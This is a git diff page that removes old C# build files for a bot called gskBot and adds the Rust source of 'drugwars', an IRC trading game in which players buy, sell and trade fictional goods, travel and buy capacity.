<ItemGroup>
|
||||
<Content Include="icon.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
@ -1,13 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
Binary file not shown.
Before Width: | Height: | Size: 55 KiB |
Binary file not shown.
@ -1,24 +0,0 @@
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe.config
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.pdb
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.exe
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.pdb
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.exe
|
||||
C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
|
||||
D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
|
||||
D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe
|
||||
D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
|
||||
D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
|
||||
D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.exe
|
||||
D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
|
||||
C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe.config
|
||||
C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe
|
||||
C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.pdb
|
||||
C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
|
||||
C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.exe
|
||||
C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.pdb
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
2
irc/bots/drugwars/.gitignore
vendored
Normal file
2
irc/bots/drugwars/.gitignore
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
/target
|
||||
/Cargo.lock
|
6
irc/bots/drugwars/Cargo.toml
Normal file
6
irc/bots/drugwars/Cargo.toml
Normal file
@ -0,0 +1,6 @@
|
||||
[workspace]
|
||||
|
||||
members = [
|
||||
"irc",
|
||||
"drugwars"
|
||||
]
|
14
irc/bots/drugwars/drugwars/Cargo.toml
Normal file
14
irc/bots/drugwars/drugwars/Cargo.toml
Normal file
@ -0,0 +1,14 @@
|
||||
[package]
|
||||
name = "drugwars"
|
||||
author = "wrk"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
irc = { path = "../irc" }
|
||||
serde = { version = "1.0.163", features = ["derive"] }
|
||||
serde_yaml = "0.9.21"
|
||||
itertools = "0.10.5"
|
||||
rand = "0.8.5"
|
||||
rand_distr = "0.4.3"
|
||||
chrono = "0.4.24"
|
584
irc/bots/drugwars/drugwars/src/api.rs
Normal file
584
irc/bots/drugwars/drugwars/src/api.rs
Normal file
@ -0,0 +1,584 @@
|
||||
use crate::{drug_wars::DrugWars, dealer::Dealer, utils::{get_flight_price, capacity_price, pretty_print_money}};
|
||||
|
||||
impl DrugWars {
|
||||
pub fn register_dealer(&mut self, nick: &str) -> Vec<String> {
|
||||
if self.dealers.contains_key(nick) {
|
||||
return vec![format!(
|
||||
"{}: you're already registered you bloot clot donkey",
|
||||
nick
|
||||
)];
|
||||
}
|
||||
|
||||
self.dealers.insert(nick.to_owned(), Dealer::random(self));
|
||||
|
||||
let dealer = self.dealers.get(nick).unwrap();
|
||||
let location = self.locations.get_mut(&dealer.location).unwrap();
|
||||
|
||||
location.blokes.insert(nick.to_owned());
|
||||
|
||||
vec![format!("{}: get rich or die tryin", nick)]
|
||||
}
|
||||
|
||||
|
||||
pub fn show_page_for_nick(&self, nick: &str) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
let mut lines = vec![];
|
||||
|
||||
lines.append(&mut self.render_header(nick, dealer));
|
||||
if dealer.max_width >= 110 {
|
||||
lines.append(&mut self.render_drugs_dual_columns(dealer));
|
||||
lines.append(&mut self.render_items_dual_columns(dealer));
|
||||
} else {
|
||||
lines.append(&mut self.render_drugs(dealer));
|
||||
lines.append(&mut self.render_items(dealer));
|
||||
}
|
||||
|
||||
lines.append(&mut self.render_people(dealer));
|
||||
lines.append(&mut self.render_command_list(dealer));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn set_dealer_max_width(&mut self, nick: &str, size: usize) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer_mut(nick) else { return vec![
|
||||
format!("{}: You aren't playing yet you donkey", nick)
|
||||
]; };
|
||||
|
||||
dealer.max_width = size;
|
||||
vec![
|
||||
format!("{}: Changed your max width to {}", nick, size),
|
||||
"Your max width is now:".to_owned(),
|
||||
format!("├{}┤", "─".repeat(size - 2))
|
||||
]
|
||||
}
|
||||
|
||||
pub fn buy_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.drug_market.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} on the market today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
if dealer.get_total_drugs_local() + amount > dealer.capacity {
|
||||
return vec![
|
||||
format!("{}: You don't have enough capacity", nick)
|
||||
]
|
||||
}
|
||||
|
||||
let drug_at_market = location.drug_market.get(drug_name).unwrap();
|
||||
if drug_at_market.supply < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough supply of {} today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let total_price = drug_at_market.price * amount as u128;
|
||||
|
||||
if total_price > dealer.money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
|
||||
}
|
||||
|
||||
pub fn sell_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.drug_market.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} needed on the market today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let drug_at_market = location.drug_market.get(drug_name).unwrap();
|
||||
if drug_at_market.demand < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough demand of {} today.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_drugs_local.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drug = owned_drugs_local.get(drug_name).unwrap();
|
||||
|
||||
if owned_drug.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
self._sell_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
|
||||
}
|
||||
|
||||
|
||||
pub fn buy_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.item_market.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} on the market today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
if dealer.get_total_items_local() + amount > dealer.capacity {
|
||||
return vec![
|
||||
format!("{}: You don't have enough capacity", nick)
|
||||
]
|
||||
}
|
||||
|
||||
let item_at_market = location.item_market.get(item_name).unwrap();
|
||||
if item_at_market.supply < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough supply of {} today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let total_price = item_at_market.price * amount as u128;
|
||||
|
||||
if total_price > dealer.money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_item(nick, &item_name.clone(), amount, item_at_market.price)
|
||||
}
|
||||
|
||||
pub fn sell_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
if !location.item_market.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: There isn't any {} needed on the market today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let item_at_market = location.item_market.get(item_name).unwrap();
|
||||
if item_at_market.demand < amount {
|
||||
return vec![format!(
|
||||
"{}: There isn't enough demand of {} today.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_items_local.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_item = owned_items_local.get(item_name).unwrap();
|
||||
|
||||
if owned_item.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
self._sell_item(nick, &item_name.clone(), amount, item_at_market.price)
|
||||
}
|
||||
|
||||
pub fn give_money(&mut self, nick: &str, amount: f64, bloke_nick: &str) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(_) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
let money = (amount * 10000.) as u128;
|
||||
|
||||
if dealer.money < money {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._give_money(nick, bloke_nick, money)
|
||||
|
||||
}
|
||||
|
||||
pub fn give_drug(&mut self, nick: &str, drug_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
|
||||
let drug_str = drug_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(bloke) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if dealer.location != bloke.location {
|
||||
return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
|
||||
}
|
||||
|
||||
let matching_drugs = self
|
||||
.drugs
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&drug_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_drugs.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested drug", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (drug_name, _) = matching_drugs[0];
|
||||
|
||||
let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_drugs_local.contains_key(drug_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_drug = owned_drugs_local.get(drug_name).unwrap();
|
||||
|
||||
if owned_drug.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
drug_name
|
||||
)];
|
||||
}
|
||||
|
||||
if bloke.get_total_drugs_local() + amount > bloke.capacity {
|
||||
return vec![format!(
|
||||
"{}: {} don't have enough capacity",
|
||||
nick,
|
||||
bloke_nick
|
||||
)];
|
||||
}
|
||||
|
||||
self._give_drug(nick, bloke_nick, &drug_name.clone(), amount)
|
||||
|
||||
}
|
||||
|
||||
pub fn give_item(&mut self, nick: &str, item_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
|
||||
let item_str = item_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(bloke) = self.get_dealer(bloke_nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if dealer.location != bloke.location {
|
||||
return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
|
||||
}
|
||||
|
||||
let matching_items = self
|
||||
.items
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&item_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_items.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested item", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The item you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let (item_name, _) = matching_items[0];
|
||||
|
||||
let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
|
||||
|
||||
if !owned_items_local.contains_key(item_name) {
|
||||
return vec![format!(
|
||||
"{}: You don't have any {} here.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
let owned_item = owned_items_local.get(item_name).unwrap();
|
||||
|
||||
if owned_item.amount < amount {
|
||||
return vec![format!(
|
||||
"{}: You don't have enough {} to sell.",
|
||||
nick,
|
||||
item_name
|
||||
)];
|
||||
}
|
||||
|
||||
if bloke.get_total_items_local() + amount > bloke.capacity {
|
||||
return vec![format!(
|
||||
"{}: {} don't have enough capacity",
|
||||
nick,
|
||||
bloke_nick
|
||||
)];
|
||||
}
|
||||
|
||||
self._give_item(nick, bloke_nick, &item_name.clone(), amount)
|
||||
}
|
||||
|
||||
pub fn check_flight_prices(&self, nick: &str) -> Vec<String> {
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let mut lines = vec![];
|
||||
lines.push(format!("{}: Here are the flight prices:", nick));
|
||||
|
||||
lines.append(&mut self.prices_from(&dealer.location));
|
||||
|
||||
lines
|
||||
}
|
||||
|
||||
pub fn fly_to(&mut self, nick: &str, destination_str: &str) -> Vec<String> {
|
||||
|
||||
let destination_str = destination_str.to_lowercase();
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let matching_destinations = self
|
||||
.locations
|
||||
.iter()
|
||||
.filter(|(name, _)| name.to_lowercase().contains(&destination_str))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let len = matching_destinations.len();
|
||||
|
||||
if len < 1 {
|
||||
return vec![format!("{}: Couldn't find your requested destination", nick)];
|
||||
}
|
||||
if len > 1 {
|
||||
return vec![format!("{}: The destination you requested is too ambiguous.", nick)];
|
||||
}
|
||||
|
||||
let current_location = self.locations.get(&dealer.location).unwrap();
|
||||
|
||||
let (destination_name, destination) = matching_destinations[0];
|
||||
|
||||
let price = get_flight_price(current_location, destination);
|
||||
|
||||
if dealer.money < price {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
|
||||
self._fly_to(nick, &destination_name.clone())
|
||||
}
|
||||
|
||||
pub fn check_capacity_price(&mut self, nick: &str, amount: usize) -> Vec<String> {
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(price) = capacity_price(dealer.capacity, amount) else {
|
||||
return vec![
|
||||
format!("{}: You won't ever need that much capacity. Will you?", nick)
|
||||
];
|
||||
};
|
||||
|
||||
return vec![
|
||||
format!("{}: It will cost you {} to buy {} slots", nick, pretty_print_money(price), amount)
|
||||
]
|
||||
|
||||
}
|
||||
|
||||
pub fn buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
|
||||
|
||||
let Some(dealer) = self.get_dealer(nick) else {
|
||||
return self.dealer_not_registered(nick);
|
||||
};
|
||||
|
||||
if !dealer.available() {
|
||||
return self.dealer_not_available(nick);
|
||||
}
|
||||
|
||||
let Some(price) = capacity_price(dealer.capacity, amount) else {
|
||||
return vec![
|
||||
format!("{}: You won't ever need that much capacity. Will you?", nick)
|
||||
];
|
||||
};
|
||||
|
||||
if dealer.money < price {
|
||||
return vec![format!("{}: Not enough money you broke ass punk", nick)];
|
||||
}
|
||||
|
||||
self._buy_capacity(nick, amount)
|
||||
}
|
||||
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user